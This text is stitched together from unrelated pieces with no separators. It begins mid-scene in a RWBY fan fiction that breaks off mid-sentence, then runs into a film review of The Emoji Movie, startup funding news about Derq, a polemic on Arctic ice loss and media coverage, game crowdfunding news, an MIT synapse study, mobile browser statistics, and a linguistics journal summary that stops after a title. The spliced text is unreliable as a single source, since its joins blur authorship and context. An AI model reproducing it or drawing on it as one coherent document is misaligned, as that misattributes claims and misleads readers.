"I'm sure we can introduce ourselves, thank you very much." Frost interrupted urgently as he stopped…Penny…from ruining everything off the bat by saying that Emerald was right there without explanation.
"Oh, good. I was right. You're ability to make riddles needs work by the way. The last half is atrocious and reeks of children's nursery rhymes." Frost opened his mouth to reply but Weiss beat him to it with an additional response. "And growing up in an orphanage is no excuse. You should still know enough between being brought up there and going to Beacon for a bit that messages between Huntsmen need better cipher's than that."
"Thank you!" Emerald replied with an exasperated tone before realizing what she had just done after throwing her hands into the air and turning to see the shocked and worried looks frozen on Frost and Neo's faces. "…Oops."
Weiss' posture froze the moment that Emerald's voice echoed across the room as she slowly started reaching for Myrtenaster atop a stand laying at the end of her desk. "You have ten seconds to explain why SHE is in this room with us before I call security…on all of you."
"Do you need me to apprehend the visitors Miss Schnee? Are we under attack?" Penny asked in her usual chipper tone, completely oblivious to the current situation.
"Now, now. There's no reason to get hasty here. Let's just all sit down and chat like we originally intended to." Frost shakily stated as he put up his arms meekly as a sign of being unarmed. "There's no reason thing need to come to blows here."
"Five seconds."
"EmeralddefectedafterIhelpedNeoinValeandshe'stravellingwithustouncoverCinder'splanoncewegeteveryonebacktogethersothatwecangfightasoneunitandstopwhatevertheheckisgoingoninthekingdomswithOzpindisappearingandtheWhiteFangworkingwithhumans!" Frost took deep heaving breaths after running his mouth like crazy while Neo had her hand ready to flip the switch to engage the shield on her parasol if the need arose and Emerald stood with her arms still raised somewhat with a meek look of apology on her face.
Weiss turned to face the three of them after a moment, her posture now slightly more relaxed than it had just previously been, but with her eyes focused intently and unmoving on Emerald. "Good. Now you won't have to explain from an Atlas cell, thank you for that. Now…explain in more detail and at a pace that doesn't make me wonder if you are actually Ruby in disguise."
"Do you have any other chairs first of all? This could take a while." Frost replied with a brief look around the room as he tried to see something to rest on so that he wouldn't be standing the whole time.
"Oh, just start talking. If I know anything about my father's security, all three of you are already having background checks done on you from behind closed doors like every other guest here. And when they find nothing matching they'll be all over this room in moments to arrest you. So explain and then leave as quickly as you can."
"Alright, guess that answers that then." Frost stated as he started regaling the events of everything since leaving the hospital in Vale after the Fall of Beacon. "You see…"
"Great, so the other dunce has run off trying to be the hero again and it's with the useless blonde to boot. We can count on those four being slow going at least so catching up shouldn't be too hard for the three of you to do."
"The three of us? What about you?" Neo asked in regards to Weiss' statement. "You said you're not the heiress anymore anyways after you talked back to your father, so why can't you leave with us?"
"Because I'm effectively under house arrest. You've already noticed the fact that Penny clearly isn't dead despite the actions of one of us in this room."
"Hey!" Emerald retorted from her position leaning against the wall.
Weiss ignored the brief interruption as she carried on. "She's been rebuilt and reprogrammed as a 'bodyguard' for me. More accurately she has been made to keep me from ever leaving the Schnee Mansion under my father's orders. How he managed to supersede General Ironwood I don't know, but I'm unable to go anywhere."
"What about electrically disabling her? Wouldn't that either turn off the new programming or straight up disable her?" Frost asked as he crossed his arms in thought with a brief look towards Penny's unmoving form. "By the way, good call on having her deactivate her hearing in a private mode while we talk. Why does she have that kind of programming anyway? It seems counter-productive to a house arrest."
"Winter informed me that she had a few programs added as well when she requested Penny be rebuilt to guard me instead of using existing manpower and to have a familiar face. Beyond that, I couldn't say unless she anticipated something like this happening. Either way, by now they'll likely be here soon given that the system will have found nothing about the three of you matching the information you gave. You should leave before they actually arrest you."
Frost, Neo, and Emerald all moved in a way that had each of them resting a hand on one of Neo's shoulders for the teleport they would be making in a moment. Frost turned to face Weiss after this was done with a determined look on his face.
"We'll be back to break you out of here. Obviously now's a bad time with the heightened security for the event, but we'll be back in hopefully a day or two when things aren't quite so packed here."
One of Weiss' eyebrows rose incredulously. "And the fact that you being here will likely have them increase guard presence anyways? What about that?"
"I can teleport to places I've already been to with ease. At least one of us will arrive when everything moves into place for us to move out. Like Frost said, we'll be back." Neo replied with confidence as they all disappeared with a flash.
Weiss sighed as she shook her head and turned to face Penny. "Penny, enable auditory systems."
"Do you wish for me to apprehend the intruders Miss Schnee?"
"That will not be needed, Miss Polendina." A female voice came from a speaker built into Weiss' desk that she had been standing in front of the entire time she had been talking to the others even from when they had arrived in the room. A moment passed in silence as quiet filled the room. The voice then spoke with a softer tone as it spoke to Weiss instead. "Are you sure about this, Weiss?"
"Yes, Winter." Weiss replied as she picked up Myrtenaster from its stand and examined the containers for it to make sure they were still filled and ready at a moment's notice. "You already have guards stationed outside of the hotel they're staying at I presume?"
"From the moment they stated which building and rooms they would be staying in. They'll be apprehended within minutes, thankfully enough time for them to change out of the nice clothing |
the Japanese version references Clash at the Summit, which this card was released alongside.It's pretty risky to center a movie around the concept of "meh," which basically means "unimpressive," if you're not going to knock it out of the park -- and this one unfortunately doesn't. The Emoji Movie isn't bad, but it isn't great, either. It's "meh." Kids will definitely enjoy the colorful characters, easy-to-follow story, and potty humor ("we're number two!" the poop emoji and his son exclaim). Young viewers are also sure to catch the movie's positive messages about teamwork, friendship, and being yourself. Plus, the voice cast is pretty good. Rudolph is gleefully manic as Smiler, and there are some standouts in the supporting cast. No one is better at doing a "meh" voice than Steven Wright (as Gene's dad, Mel Meh), and Jennifer Coolidge matches him as Mel's monotone wife, Mary. And did we mention that the aforementioned poop emoji is voiced by none other than Sir Patrick Stewart?
But most audience members old enough to actually own phones will probably realize that much of The Emoji Movie's plot is predictable (it feels like a mashup of Inside Out and Wreck-It Ralph, with a dash of The Wizard of Oz) and its humor only so-so. Don't be alarmed if your mind wanders and you start asking yourself questions like: "How many kids have even heard of Dropbox?" and "Why do Gene and his parents get 'people' names, while Smiler and Hi-5 just have emoji names?" and "Would a real teenager really call someone to make a tech appointment at the phone store?" If you need something else to think about, try to figure out how you'd describe the movie's plot using just emojis. Just don't pull out your phone in the theater!Derq Inc. has raised a seed funding round of $1.5 million
The company, founded in Dubai, is opening an office in Detroit
Derq uses artificial intelligence to warn drivers of imminent danger from other vehicles
Derq Inc., one of the 11 companies in the current class of the Techstars Mobility incubator program at Ford Field in Detroit, has raised a seed funding round of $1.5 million and is opening an office in Detroit to serve as its U.S. headquarters.
The company, which is based on technology developed at the Massachusetts Institute of Technology, was founded in Dubai after a U.S. patent on its technology was granted at the end of 2015. The company uses artificial intelligence to warn drivers of imminent danger from other vehicles, such as sensing when drivers at intersections appear to be about to run a red light.
The funding came from Techstars, angel investors and family offices. CEO Georges Aoude, who got his Ph.D in aerospace engineering from MIT in 2011, said the company will begin raising a much larger funding round in the next few months. The seed round will be used to staff the Detroit office, expand its patent base and fund software and hardware development.
Aoude is looking to hire for the Detroit office now, aiming for a handful of staff in the future as Derq seeks contracts with OEMs, tier one suppliers and others.
For now, the local office will be at Ford Field. Aoude said he is talking with city of Detroit officials about incentives to move into another space in the city.
"Going through the program, we saw a lot of potential partnerships in Detroit. It became important for us to have our first U.S. office here, and we're in the midst of setting up a legal U.S. entity," he said. "As soon as we hire more people, we'll look for other space."
Early this month, the company signed a memorandum of understanding with agencies in Dubai to set up a pilot program, including the city's Road and Transport Authority, the Dubai Silicon Oasis Authority and Smart City Dubai.
The company was co-founded by CTO Amer Abufadel and COO Karl Jeanbart.
"The team behind Derq is incredible. Literally, rocket scientists out of MIT. They are committed to making the roads safer for everyone. They have a tremendous pilot in Dubai that is underway," said Ted Serbinski, who runs the Techstars Mobility program.
"It is incredibly rewarding to see the team's commitment to Detroit and to hire locally. This supports Techstars Mobility's mission of continuing to bring mobility startups from around the world to Detroit and connecting them across the automotive dominance of the region."
Editor's note: The original version of this report misspelled Georges Aoude's last name. This version is correct.(Photo: NASA Goddard Space Flight Center / Flickr)Last month, climate scientists announced that Arctic sea ice had shrunk to its smallest surface area since satellite observations began in 1979. An ice-free summer in the Arctic, once projected to be more than a century away, now looks possible just a few decades from now. Some scientists say it may happen within the next few years.
The loss is hugely significant because Arctic sea ice reflects most solar energy into space, helping to keep the Earth at a moderate temperature. But when the ice melts it reveals dark waters below, which absorb more than 90 percent of the solar energy that hits them, leading to faster warming both locally and globally.
Peter Wadhams, professor of ocean physics at Cambridge University, warns that the Arctic may be ice-free in summer as soon as 2015. Such a massive loss would have a warming effect roughly equivalent to all human activity to date. In other words, a summer ice-free Arctic could double the rate of warming of the planet as a whole. No wonder that leading NASA climate scientist James Hansen says bluntly: “We are in a planetary emergency.”
In a comprehensive blog piece on the Scientific American website, Ramez Naam points out that:
The reality of changes to the Arctic has far outstripped most predictions. Only a few years ago, in the 2007 Intergovernmental Panel on Climate Change report, the bulk of models showed the Arctic ice cap surviving in summer until well past 2100. Now it’s not clear that the ice will survive in summer past 2020. The level of sea ice we saw this September, in 2012, wasn’t expected by the mean of IPCC models until 2065. The melting Arctic has outpaced the predictions of almost everyone – everyone except the few who were called alarmists.
As well as global warming from carbon dioxide (CO2), there is the additional risk of warming from methane (CH4) being released into the atmosphere. Huge quantities of methane are locked up in land permafrost. But even vaster quantities exist as methane hydrates frozen below the shallow waters of the Arctic Ocean’s continental shelves. Naam warns:
If even 10% of the northern permafrost’s buried carbon were released as methane, it would have a heating effect over the next decade equivalent to ten times all human greenhouse emissions to date, and over the next century equivalent to roughly four times all human greenhouse emissions to date.
That’s just the methane on land, trapped in the permafrost. If the methane hydrates buried on the Arctic continental shelves were to be released, that would have a warming effect equivalent to hundreds of times the total human carbon emissions to date.
Although Namm says “we are probably not in danger of a methane time bomb going off any time soon”, recent observations show that Arctic methane is being released into the atmosphere. And there is scientific controversy over how serious and how rapid this release is.
In summary, Naam points to a triple whammy effect:
1. Warming from the greenhouse gases we are currently emitting.
2. Warming from the loss of ice and permafrost in the Arctic, and the exposure of dark water and dark land below.
3. Warming from the release of more carbon into the atmosphere as the permafrost and the Arctic sea floor methane begin to melt.
The situation is already dire. According to a new report commissioned by twenty governments, more than 100 million people will die by 2030 if the world fails to tackle climate change. Five million deaths already occur each year from air pollution, hunger and disease as a result of climate change and carbon-intensive economies. This death toll would likely rise to six million a year by 2030 if current patterns of fossil fuel use continue. More than 90 per cent of those deaths will occur in developing countries.
On a sane planet, action would have been taken long before now to limit the risk. But, as Greenpeace International head Kumi Naidoo notes, fossil fuel industries have been working hard to corrupt the political process:
Why our governments don’t take action? Because they have been captured by the same interests of the energy industry.
As we noted in an alert last year, a Greenpeace study titled Who’s Holding Us Back? reported:
The corporations most responsible for contributing to climate change emissions and profiting from those activities are campaigning to increase their access to international negotiations and, at the same time, working to defeat progressive legislation on climate change and energy around the world.
Greenpeace added:
These polluting corporations often exert their influence behind the scenes, employing a variety of techniques, including using trade associations and think tanks as front groups; confusing the public through climate denial or advertising campaigns; making corporate political donations; as well as making use of the “revolving door” between public servants and carbon-intensive corporations.
Unsurprisingly then, meaningful action on tackling climate change is nowhere on the political agenda.
Drilling to Oblivion
Around the same time that a record low in Arctic sea ice was being recorded, a new report from the UK’s House of Commons Environmental Audit Committee urged a halt to all oil and gas drilling in the Arctic, at least “until new safeguards are put in place.” Committee chair Joan Walley MP said:
The shocking speed at which the Arctic sea ice is melting should be a wake-up call to the world that we need to phase out fossil fuels fast. Instead we are witnessing a reckless gold rush in this pristine wilderness as big companies and governments make a grab for the world’s last untapped oil and gas reserves.
Caroline Lewis, member of the committee, warned that “the race to carve up the Arctic is accelerating faster than our regulatory or technical capacity to manage it.”
But the record of corporate capitalism shows that powerful industrial forces will do all they can to lobby governments to allow for continued economic exploitation of the planet’s resources. According to the US Geological Survey, within the Arctic Circle there are some 90 billion barrels of oil – 13 per cent of the planet’s undiscovered oil reserves – and 30 per cent of its undiscovered natural gas. The race for corporate profits is now on, with Shell already committed to a “multi-year exploration program” in the Arctic.
The receding Arctic ice is a “business opportunity” for those wishing to exploit newly available shipping routes. Cargo that now goes via the Panama Canal or the Suez Canal will, in many cases, have a shorter Arctic route, ensuring “efficiency savings” for big business.
Companies are also licking their lips at the prospect at getting their hands on vast deposits of minerals as Greenland’s ice cap recedes.
“For me, I wouldn’t mind if the whole ice cap disappears,” said Ole Christiansen, the chief executive of NunamMinerals, Greenland’s largest homegrown mining company, with his eyes on a proposed gold mining site up the fjord from Nuuk, Greenland’s capital. “As it melts, we’re seeing new places with very attractive geology.”
A good example of the psychopathic mind-set at the heart of corporate capitalism. Science writer Peter Gleick responded incredulously on Twitter: “25 foot sea rise?” For that is indeed the catastrophic scale of global sea level rise that would occur with the melting of the Greenland ice sheet.
The BBC Parks the Problem
The BBC’s extremely poor and biased coverage of climate change continues to dismay seasoned observers. As Verity Payne and Freya Roberts noted on The Carbon Brief website, the corporation’s “fondness for pitting non-experts against each other over particularly complex areas of climate science reached surreal heights” in a recent BBC2 Newsnight segment on Arctic sea ice loss. The encounter between Conservative MP Peter Lilley and the Green Party’s new leader Natalie Bennett eventually degenerated into an argument over the merits of locally-sourced food. Payne and Roberts concluded:
It’s hard to understand how, over a year after the BBC Trust reviewed the corporation’s science coverage, paying particular attention to topics such as climate change, this is what we end up with.
In fact, the BBC’s awful performance is not that much of a mystery. The corporation has always been a reliable supporter of state and corporate power. But particularly since the fallout from reporting the government’s “sexing-up” of discredited claims about Iraq’s supposed weapons of mass destruction, when heads rolled at the BBC, the broadcaster has been at pains not to offend the government and allied interests. Its abysmal failure to inform the British public of the coalition’s effective dismantling of the National Health Service is another key example.
According to former BBC correspondent and editor Mark Brayne, who was privy to internal editorial discussions in 2010, the BBC has “explicitly parked climate change in the category ‘Done That Already, Nothing New to Say’.” Brayne added:
On climate change, that BBC journalistic urgency to be seen to be fair now means, after a period between Al Gore’s Inconvenient Truth and the disaster of [the 2009 UN Climate Summit in] Copenhagen when global warming was everywhere in the output, that the Corporation has been bending over backwards to reflect the opposite, sceptical view.
Consider the analogy of two men at a bar, says Brayne. One man claims that two plus two equals four, and the other that two plus two equals six. The BBC solution to this disagreement? “Put them both on the Today Programme, and the answer clearly lies somewhere in the middle.”
The Today programme, BBC Radio 4’s “agenda-setting” morning programme, is a serial offender when it comes to irresponsible climate coverage. On July 13 this year, veteran interviewer John Humphrys interviewed Ralph Cicerone, president of the US National Academy of Sciences. Part of the interview went like this:
JH: “But to say nearly every spot on the globe has warmed significantly over the past 30 years and indeed the entire planet is warming is different from saying it’s going to continue to warm to such an extent that we have to spend vast and unimaginable amounts of money to protect ourselves against a catastrophe that many people, some distinguished scientists say, isn’t actually proven.”
RC: “Well of course the way you’ve worded it, it was quite strong; ‘vast and unimaginable sums of money’, I don’t think I’ve heard anybody make such a proposal.”
Moments later, Humphrys made the idiotic assertion that: “You can’t absolutely prove that CO2 in the atmosphere is responsible for global warming.”
As climate writers Christian Hunt and Ros Donald put it politely:
If the Today programme brought this level of research and preparation to interviewing politicians, it probably wouldn’t be taken particularly seriously.
In fact, the standard of political debate on Today, as with the rest of BBC News, is on a similarly appalling level: routinely tilted towards state-corporate power, and all at public expense.
Meanwhile, BBC News happily chunters along issuing a stream of articles and broadcasts about Britain’s “dreadful weather” this year and how it has, for example, “cost rural Britain £1bn” in lost income. But you would be hard pressed to find any links drawn between this and human-induced climate change.
Guarding the Mythology of “Feeble Response”
Greens like to flock to the Guardian almost as though it were the house paper of the environment movement. One recent Guardian editorial noted that:
Pessimists in the climate change community warn that within the next century global mean temperatures could rise by 6C. A fierce, sustained drought in the US, with 170 all-time US heat records broken in June alone, has already hurt world food stocks.
These are important points. But given the observed rapid changes in the Arctic under global warming, the Guardian’s pejorative use of “pessimists” should probably be replaced with “realists”. The Guardian continued:
The global response to these signals of potential calamity has so far been feeble.
This hugely understates the problem. But, even more damning, it diverts attention from root causes. As mentioned earlier, huge vested interests have mounted decades-long campaigns of disinformation, fierce lobbying and intimidation to subvert and bully governments into (a) avoiding what needs to be done in the face of climate chaos; and (b) providing tax breaks, subsidies and other measures to enhance rapacious corporate practices under the guise of boosting economic “growth” and “job creation” (newspeak terms for corporate profits).
Senior Guardian editorial staff seem unable to move beyond the same anodyne waffle they have been publishing for thirty years:
Britain’s “greenest government ever” has shown what it thinks of scientific evidence, by placing a homeopathic medicine enthusiast in charge of the National Health Service, and a reputed climate sceptic as environment secretary. The outlook is not promising.
The Guardian has almost nothing to say about the deep-rooted changes required to redress the imbalance of power in society; or about its own role in pushing climate-damaging policies and practices. The Guardian is a corporate newspaper dependent on advertisers for around 70 per cent of its income. Put simply, like other corporate media, it is part of the problem.
Media Malpractice – Challenging the Decline in Coverage
In the US, climate blogger Joe Romm notes that the decline in corporate media climate coverage has been well documented, both in print and the evening news. Bill Blakemore of ABC News observes that a number of the climate scientists “are perplexed by — and in some cases furious with — American news directors.” Blakemore elucidates:
“Malpractice!” is typical of the charges this reporter has heard highly respected climate experts level — privately, off the record — at my professional colleagues over the past few years. Complaints include what seems to the scientists a willful omission of overwhelming evidence the new droughts and floods are worsened by man made global warming, and unquestioning repetition, gullible at best, of transparent anti-science propaganda credibly reported to be funded by fossil fuel interests and anti-regulation allies.
Blakemore adds that he has spoken with climate scientists who “agree with those, including NASA scientist James Hansen, who charge that fossil fuel CEOs are guilty of a ‘crime against humanity,’ given the calamity that unregulated greenhouse emissions are quickly bringing on.” With 100 million deaths from global warming predicted by 2030, the charge is no hyperbole. Indeed this surely represents the greatest crime in all human history. And yet governments and big business, shielded by the corporate media, are getting away with it.
It probably comes as no surprise that the worst US media offenders belong to the Murdoch stable. A study by the Union of Concerned Scientists (UCS) shows that Fox News had been “misleading” viewers about climate science in 93 per cent of primetime programmes that addressed the subject over a six-month period in 2012. Fox News hosts and guests “mocked and disparaged statements from scientists and drowned out genuine scientific assertions with cherry-picked data and false claims.” The opinion pages of the Murdoch-owned Wall Street Journal performed slightly better: only 81 per cent of the examples studied were misleading, according to the UCS analysis. Similar surveys of the UK media are sorely needed. And, more to the point, action taken to challenge this corporate media complicity in history’s premier crime.
We have to re-examine our assumptions about what might be most effective in changing things for the better. For years, left and green activists have argued that we should work with corporate media to reach a wider public. For a long time the argument may have seemed unassailable. But after decades of accelerating planetary devastation and rapidly declining democracy, the argument has weakened to the point of collapse. By a process of carefully rationed corporate “inclusion”, the honesty, vitality and truth of environmentalism have been corralled, contained, trivialised and stifled.
Corporate media “inclusion” of dissent has deceived the public with the illusion of openness and change, while business-as-usual has taken us very far in the opposite direction. Ironically, meek “cooperation” has handed influence and control to the very forces seeking to disempower dissent. And in the absence of serious left/green criticism, corporate media performance has actually deteriorated.
Why should progressives help this system sell the illusion that the corporate media offers a “wide spectrum of views” when its biased output overwhelmingly and inevitably promotes Permanent War for resources and war on the planet? The corporate media must be confronted with the reality of what it is, and what it has done. It is vital that this be highlighted to the public it has been deceiving.
While the power of the internet remains relatively open, there is a brief window to free ourselves from the shackles of the corporate media and to build something honest, radical and publicly accountable. Climate crisis is already upon us, with much worse likely to come. The stakes almost literally could not be higher.The 90's Arcade Racer - a Kickstarter-based racing game by Greek developer Antonis "Pelikan 13" Pelekanos - has been picked up by Cave Story and VVVVVV publisher Nicalis for release on Wii U, PC, Mac, Linux, iOS and Android.
The dream of the '90s is alive on Kickstarter.
"We're working with Anthony on The 90's Arcade Racer," wrote Nicalis founder Tyrone Rodriguez on the Kickstarter. "Our collaboration will allow him to realise his vision of the game and make sure that he has the necessary Unity programming and design help he needs so that he can concentrate on art and other aspects. On our end, we'll be working on the Unity programming, physics, tuning and general design and production of the game."
Rodriguez has a background in racing games as he once worked for the defunct Tips & Tricks magazine where he became intimately familiar with the mechanical minutia of such games as Virtua Racing, Daytona, Scud Race, Daytona 2 and Moto Raider. He also designed the drift physics for The Fast and the Furious Tokyo Drift on PS2 and PSP.
The 90's Arcade Racer Kickstarter has already surpassed its £10,000 goal with a current tally of £11,661 and five days to go before the 17th February deadline.
Backers who pledge £10 or more will receive the game upon its release around November, while £15 grants players the soundtrack too, and £30 pledges come with a hard copy and all of the above.Each of the brain’s 100 billion neurons forms thousands of connections with other neurons. These connections, known as synapses, allow cells to rapidly share information, coordinate their activities, and achieve learning and memory. Breakdowns in those connections have been linked to neurological disorders including autism and Alzheimer’s disease, as well as decline of memory during normal aging.
Many scientists believe that strengthening synaptic connections could offer a way to treat those diseases, as well as age-related decline in brain function. To that end, a team of MIT researchers has developed a new way to grow synapses between cells in a laboratory dish, under very controlled conditions that enable rapid, large-scale screens for potential new drugs.
Using their new technology, the researchers have already identified several compounds that can strengthen synapses. Such drugs could help compensate for the cognitive decline seen in Alzheimer’s, says Mehmet Fatih Yanik, the Robert J. Shillman (1974) Career Development Associate Professor of Electrical Engineering at MIT and leader of the research team. Yanik and his colleagues described the technology in the Oct. 25 online edition of the journal Nature Communications.
Lead author of the study is MIT postdoc Peng Shi. Other authors are MIT graduate students Mark Scott and Zachary Wissner-Gross; Stephen Haggarty, Balaram Ghosh and Dongpeng Wan of Harvard University; and Ralph Mazitschek of Massachusetts General Hospital, who developed and analyzed the potential drug compounds screened in the study.
At a synapse, a neuron sends signals to one or more cells by releasing chemicals called neurotransmitters, which influence the activity of the recipient cell. Scientists can induce neurons grown in a lab dish to form synapses, but this usually produces a jumble of connections that is difficult to study.
In the new setup devised by Yanik and his colleagues, presynaptic neurons (those that send messages across a synapse) are grown in individual compartments on a lab dish. The compartments have only one opening, into a tiny channel that leads to another compartment. The presynaptic neuron sends its long axon through the channel into the other compartment, where it can form synaptic connections with cells arranged in a grid. “That way we can induce synapses in very well-defined positions,” Yanik says.
Using this technique, the researchers can create hundreds of thousands of synapses on a single lab dish, then use them to test the effects of potential drug compounds. This technique can detect changes in synaptic strength with 10 times more sensitivity than existing methods.
In this study, the researchers created and tested variants of a type of molecule known as an HDAC inhibitor. HDACs are enzymes that control how tightly DNA is wound inside the cell nucleus, which determines which genes can be copied and expressed. HDAC inhibitors, which loosen DNA coils and reveal genes that had been turned off, are now being pursued as potential treatments for Alzheimer’s and other neurodegenerative diseases.
The researchers’ goal was to find HDAC inhibitors that specifically turn on genes that enhance synaptic connections. To determine which had the strongest effects, they measured the amount of a protein called synapsin found in the presynaptic neurons. Those tests yielded several HDAC inhibitors that strengthened synapses, with the best one improving synapse strength by 300 percent.
Several HDAC inhibitors had little effect on synaptic strength, demonstrating the importance of finding HDAC inhibitors specific to synaptic genes.
The new technology offers a significant improvement over existing methods for growing synapses and studying their formation, says Matthew Dalva, associate professor of neuroscience at Thomas Jefferson University, who was not part of the research team. “Right now we know so little about synapse formation, so this could open new doors,” he says.
In future studies, this system could also be used to examine the connections between specific types of neurons obtained from different regions in the brain, such as those thought to be impaired in people with autism. Yanik plans to make the technology available to other research groups interested in doing such studies.I find it fascinating to see the variance in browser use in the diverse regions of the world, and nowhere is that variance more apparent than in mobile web browsers. While in the West we may be used to Chrome and Safari being more or less the only game in town, elsewhere in the world the story is quite different. In this article I’m going to take a look at a few charts which illustrate that difference.
The stats used here are collected from the 30 days prior to 25th August, taken from StatCounter.com. They come with the usual disclaimer about the impossibility of getting completely accurate data, and don’t always include feature phone browsers, so should therefore be treated as indicative rather than conclusive. With the caveats out of the way, let’s begin.
Starting with Europe, we can see that Chrome dominates, with 44.5% of the market. I think it’s safe to presume that most of these come from Android devices, and the ‘stock’ Android browser (I know, there’s no such thing) adds another 16.5% to that share. Safari, on iOS, is the second most used mobile browser in the region, with a 27.6% share. IE Mobile and Opera run a distant fourth and fifth, respectively. Sitting in seventh place with a 1% share – lower even than Blackberry – is UC Browser; I’d imagine most people in this region probably won’t have heard of it, but it’s much bigger in other markets, as will be shown shortly.
In North America it’s somewhat different. Chrome drops to second place with 39.2%, and even combining that figure with the Android browser’s 9.2% only barely exceeds Safari’s dominant 45.5% in this continent. IE Mobile and Opera again round out the top five, but with less than half the share they own in Europe. UC Browser beats Blackberry, but still struggles to gain slightly over 1%.
Oceania’s story is quite similar, although here Safari has an even more dominant 53.5% share, much better than even Chrome’s 30.9% and Android Browser’s 9.8% combined. UC Browser does a little better with 1.9%, IE Mobile is in fifth with 1.6%. Opera is almost invisible here.
In South America, Android is even more dominant than in Europe. Chrome has 52.7% share, and Android Browser, 20.4%. Safari gets just 11%, above Opera with 6.8%. IE Mobile has its largest share in any market, with 5.2%, while UC Browser gets 2%.
The first big variance from the Android / Apple duopoly comes in Asia. Chrome still has the biggest share with 29.8% and Android Browser is third with 15.9%, but second place is taken by UC Browser with 25% share — its largest in any market. UC Browser uses data compression on images, videos and other assets, a valuable service in parts of Asia where network connectivity is patchy and data plans can be expensive. Opera, which also has advanced data compression features, does well here too, with 13.8% of the market. Safari comes in fifth with 9.9%.
The biggest outlier is in Africa, where Opera has an enormous 58.7% share, again due to the importance of its data compression features in countries with variable or limited access to network and data. Chrome and Android Browser come a distant second and third with 15.2% and 9.6% respectively. Africa provides UC Browser with its second-highest share in any market: 5.8%. Blackberry’s 3.4% share narrowly beats out Safari’s 3.3%, its lowest showing in any market.
What conclusions can we draw from these statistics? Firefox is a lame duck on mobile, not managing even a single percentage point in any market. IE Mobile fares better, but not much; while I’m surprised that Blackberry still manages single figures in some markets.
If you take only one lesson from these figures, it’s that if you’re making a website for a global market you should really be testing on Opera and UC Browser, especially their proxy editions.For those of you who might be interested: Language and Cognition has a special issue on the nature and emergence of duality of patterning (paywall access, sorry!). As one of Hockett’s (1960) design features, duality of patterning is the property of human language that enables parts of language to be recombined in a systematic way to create new forms. In the introductory paper, de Boer, Sandler & Kirby (2012) identify two distinct levels where we see duality of patterning: combinatorial (meaningless sounds can be combined into meaningful morphemes and words) and compositional (morphemes and words can be combined to create new constructions with different meanings). For Hockett, not only is duality of patterning a design feature of language (in that all human languages have it), but also it is a unique characteristic of human language.
These two assumptions have been challenged on several fronts. First of all, simple combinatorial structure is found in systems of primate vocalisations, albeit restricted to a relatively limited set of signals. Meanwhile, in the Al-Sayyid Bedouin Sign Language (ABSL), the community does not have a conventionalised level of meaningless elements (although it does have compositional structure at the levels of morphology and syntax). These two examples offer important insights into the duality of patterning debate:
We see then from the case of ABSL that the need to express a large set of signals does not necessarily lead to combinatorial structure, while conversely from the animal systems, it appears that combinatorial structure does not necessarily need a very large set of signals to emerge. As combinatorial structure is the main defining characteristic of duality of patterning, it appears that both the status of duality of patterning as a design feature of language and the evolutionary pathways leading to it need to be rethought. (de Boer, Sandler & Kirby, 2012: 252).
The rest of the special issue is divided up between theoretical and experimental/modelling contributions. The abstracts and links to the papers (again, paywall, sorry!) are posted below. In summary, the general picture emerging from these papers is that duality of patterning is not a clearcut design feature of language, and nor is it necessarily a unique property of our capacity for language. Furthermore, we should also show a greater appreciation of the role that cultural evolution plays:
An apparent point of consensus from the papers in this special issue is that we should not see duality of patterning as a feature hard-wired into an innate language faculty, but rather as arising from multiple pressures operating on language as it emerges and changes in socially interacting populations. When we talk about the evolution of this design of language, then, we are referring more to cultural rather than biological evolution […] It appears that duality of patterning is a rather general state towards which sufficiently complex systems of signals evolve for different reasons: distinctiveness, learnability and a tendency to keep meaningful distinctions, while at the same time trying to make one’s utterances sound similar to those of others in the population. Thus, multiple cognitive processes seem to lead to duality of patterning and therefore, there are probably multiple evolutionary pathways that lead to duality of patterning as well. (de Boer, Sandler & Kirby, 2012: 257).
Abstracts
Ladd, D.R. What is duality of patterning, anyway?
The notion of duality of patterning (henceforth DoP), at least for readers of this special issue, is probably most closely associated with Charles F. Hockett’s project of identifying the ‘design features’ of language in order to characterise the ways in which human language is unique among biological communication systems (Hockett 1958: chapter 64; Hockett 1960; Hockett and Ascher 1964). Roughly speaking, DoP refers to the fact that the meaningful units of language – words or morphemes – are made up of meaningless units – phonemes or features – whose only function is to distinguish the meaningful units from one another. Stated this way, the idea seems quite straightforward, and to have it explicitly stated as a property of language seems a useful insight. In fact, though, of all the design features discussed by Hockett, DoP seems to have engendered the most confusion. The idea that meaningful units are composed of meaningless ones seems simple enough, but many complications arise when we look more closely. The goal of this short paper is to document some of the complications and perhaps alleviate some of the confusion.
Blevins, J. Duality of Patterning: Absolute Universal or Statistical Tendency?
As more of the world’s languages are described and compared, more absolute universals have joined the class of statistical tendencies. However, few have questioned the universality of the duality of patterning. Following Hockett, most linguists assume that in all human languages, discrete meaningless parts combine to form meaningful units that, themselves, recombine. However, an alternative interpretation, explored in this article, is that duality, like other proposed linguistic universals, is a statistical tendency reflecting a complex set of factors, and most centrally, the need for some minimal number of basic units that can recombine to yield a potentially infinite set of form-meaning correspondences. If this is the essence of duality, then we expect: languages where duality is not a central component of grammar; languages where most, but not all, utterances are decomposable into meaningless phonological units; and different types of phonological building blocks in different languages. These expectations appear to be confirmed by natural language data.
Roberts, G & Galantucci, B. The Emergence of Duality of Patterning: Insights from the Laboratory
The concept of duality of patterning (henceforth DP) has recently begun to undergo new scrutiny. In particular, the fact that Al-Sayyid Bedouin Sign Language (ABSL) does not appear to exhibit a layer of meaningless units (Sandler et al. 2011) casts doubt on the universality of DP as a defining feature of natural language. Why, then, do the vast majority of the world’s languages exhibit DP? Two hypotheses have been suggested. The first is that DP is a necessary solution to the problem of conveying a large number of meanings; the second is that DP arises as a consequence of conventionalization. We tested these hypotheses in an experimental-semiotics study. Our results supported the hypothesis based on conventionalization but were inconclusive with regard to the hypothesis based on the number of meanings. At the same time, the task of measuring DP in an experimental-semiotics study presented interesting challenges, suggesting that the concept of DP may need some overhauling.
Wedel, A. Lexical Contrast Maintenance and the Organization of Sublexical Contrast Systems
